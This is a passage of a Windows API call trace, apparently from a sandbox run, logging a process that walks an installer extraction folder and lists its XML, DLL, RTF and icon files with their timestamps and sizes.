ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.652] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.652] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.652] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.652] GetProcessHeap () returned 0x11a0000 [0077.652] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.652] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0077.652] GetProcessHeap () returned 0x11a0000 [0077.652] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.652] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.652] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.652] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.653] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.653] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.653] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.653] GetProcessHeap () returned 0x11a0000 [0077.653] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.653] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0077.653] GetProcessHeap () returned 0x11a0000 [0077.653] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.653] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.653] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.653] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0xa7, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.654] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0xa7, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0077.654] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.654] GetProcessHeap () returned 0x11a0000 [0077.654] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.654] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0077.654] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0077.654] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0077.654] GetProcessHeap () returned 0x11a0000 [0077.654] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.654] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.654] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.655] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0xa7, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.655] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0xa7, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0077.655] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.655] GetProcessHeap () returned 0x11a0000 [0077.655] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.655] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0077.655] GetProcessHeap () returned 0x11a0000 [0077.655] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0077.656] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.656] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0077.656] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0077.656] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0077.657] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0xa7, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xa7, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0077.658] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xa7, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0077.659] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xa7, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0077.659] FindClose (in: hFindFile=0x11b9f50 | out: hFindFile=0x11b9f50) returned 1 [0077.660] GetProcessHeap () returned 0x11a0000 [0077.660] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.660] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: 